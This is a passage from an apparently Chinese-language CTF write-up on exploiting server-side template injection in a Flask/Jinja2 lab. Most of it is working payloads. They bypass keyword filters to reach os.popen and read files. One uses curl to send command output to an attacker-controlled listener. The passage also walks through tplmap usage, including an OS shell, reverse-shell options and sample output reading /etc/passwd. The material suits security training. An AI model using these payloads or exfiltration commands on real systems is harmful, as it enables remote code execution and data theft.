我们调用它的 __init__ 函数将其实例化,然后用 __globals__ 查看其全局变量。
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343].__init__.__globals__}}
确认存在“popen”
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343].__init__.__globals__['po'+'pen']('ls /').read()}}
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read()}}
成功拿到flag
环境部署
xxxxxxxxxx11docker run -d -p 5000:5000 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:flaskplus
看到又是Flask,后面又加了PLUS,想必内容肯定没变,应该是过滤内容增加了。 打开题目康康,果然还是demo,随便造一个404,还是那个界面。 直接拿上一道题的payload去找所有的类,果然还是那么多。找到 os._wrap_close 类,打一发上次的payload,结果炸了:
也就是说,这里更新了过滤的内容,需要bypass。 我们来探测了一下,发现这次又加了一些过滤:
xxxxxxxxxx71__init__2file3__dict__4__builtins__5__import__6getattr7os
到这里,我们本地机测试一下,看看有哪些方法我们可以用的:
这里我们注意到了__enter__ 方法,查看其内容,发现其竟然有 __globals__ 方法可用,也就是说这个__enter__ 方法与__init__ 方法一模一样。
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('ls /').read()}}
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read()}}
当目标存在 SSTI 漏洞但是没有payload执行的回显时,我们可以使用 os.popen 和 curl 将执行结果外带出来。 在本机开启监听
xxxxxxxxxx11nc -lvp 2333
然后让查询疾结果返回
xxxxxxxxxx21http://192.168.173.66:5000/haha/2{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('curl http://192.168.173.1:2333 -d `ls /`').read()}}
读取内容
xxxxxxxxxx21http://192.168.173.66:5000/haha/2{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[160].__enter__.__globals__['po'+'pen']('curl http://192.168.173.1:2333 -d `cat /Th1s_is__F1114g`').read()}}
这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利,也支持其他模板(Smarty,Mako,Tornado,Jinja2)的注入检测
xxxxxxxxxx11https://github.com/epinna/tplmap
然而作者并未提供对python3的支持,此处建议使用docker版本
xxxxxxxxxx11docker run -it --rm registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:tplmap bash
xxxxxxxxxx351root@df07a797550f:/tplmap# python tplmap.py -u 'http://192.168.173.1:5000/ssti?name=1'2[+] Tplmap 0.53Automatic Server-Side Template Injection Detection and Exploitation Tool45[+] Testing if GET parameter 'name' is injectable6[+] Smarty plugin is testing rendering with tag '*'7[+] Smarty plugin is testing blind injection8[+] Mako plugin is testing rendering with tag '${*}'9[+] Mako plugin is testing blind injection10[+] Python plugin is testing rendering with tag 'str(*)'11[+] Python plugin is testing blind injection12[+] Tornado plugin is testing rendering with tag '{{*}}'13[+] Tornado plugin is testing blind injection14[+] Jinja2 plugin is testing rendering with tag '{{*}}'15[+] Jinja2 plugin has confirmed injection with tag '{{*}}'16[+] Tplmap identified the following injection point:1718GET parameter: name19Engine: Jinja220Injection: {{*}}21Context: text22OS: nt-win3223Technique: render24Capabilities:2526Shell command execution: no27Bind and reverse shell: no28File write: ok29File read: ok30Code evaluation: ok, python code3132[+] Rerun tplmap providing one of the following options:3334--upload LOCAL REMOTE Upload files to the server35--download REMOTE LOCAL Download remote files
xxxxxxxxxx371Usage: python tplmap.py [options]23选项:4-h, --help 显示帮助并退出56目标:7-u URL, --url=URL 目标 URL8-X REQUEST, --re.. 强制使用给定的HTTP方法 (e.g. PUT)910请求:11-d DATA, --data=.. 通过POST发送的数据字符串 它必须作为查询字符串: param1=value1¶m2=value212-H HEADERS, --he.. 附加标头 (e.g. 'Header1: Value1') 多次使用以添加新的标头13-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie14-A USER_AGENT, -.. HTTP User-Agent 标头的值15--proxy=PROXY 使用代理连接到目标URL1617检测:18--level=LEVEL 要执行的代码上下文转义级别 (1-5, Default: 1)19-e ENGINE, --eng.. 强制将后端模板引擎设置为此值20-t TECHNIQUE, --.. 技术 R:渲染 T:基于时间的盲注 Default: RT2122操作系统访问:23--os-cmd=OS_CMD 执行操作系统命令24--os-shell 提示交互式操作系统Shell25--upload=UPLOAD 上传本地文件到远程主机26--force-overwrite 上传时强制覆盖文件27--download=DOWNL.. 下载远程文件到本地主机28--bind-shell=BIN.. 在目标的TCP端口上生成系统Shell并连接到它29--reverse-shell=.. 运行系统Shell并反向连接到本地主机端口3031模板检查:32--tpl-shell 在模板引擎上提示交互式Shell33--tpl-code=TPL_C.. 在模板引擎中注入代码3435常规:36--force-level=FO.. 强制将测试级别设置为此值37--injection-tag=.. 使用字符串作为注入标签 (default '*')
通常使用--os-shell来反弹shell来控制靶机
121$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'2[+] Tplmap 0.53Automatic Server-Side Template Injection Detection and Exploitation Tool45[+] Run commands on the operating system.67linux $ whoami8www9linux $ cat /etc/passwd10root:x:0:0:root:/root:/bin/bash11daemon:x:1:1:daemon:/usr/sbin:/bin/sh12bin:x:2:2:bin:/bin:/bin/sh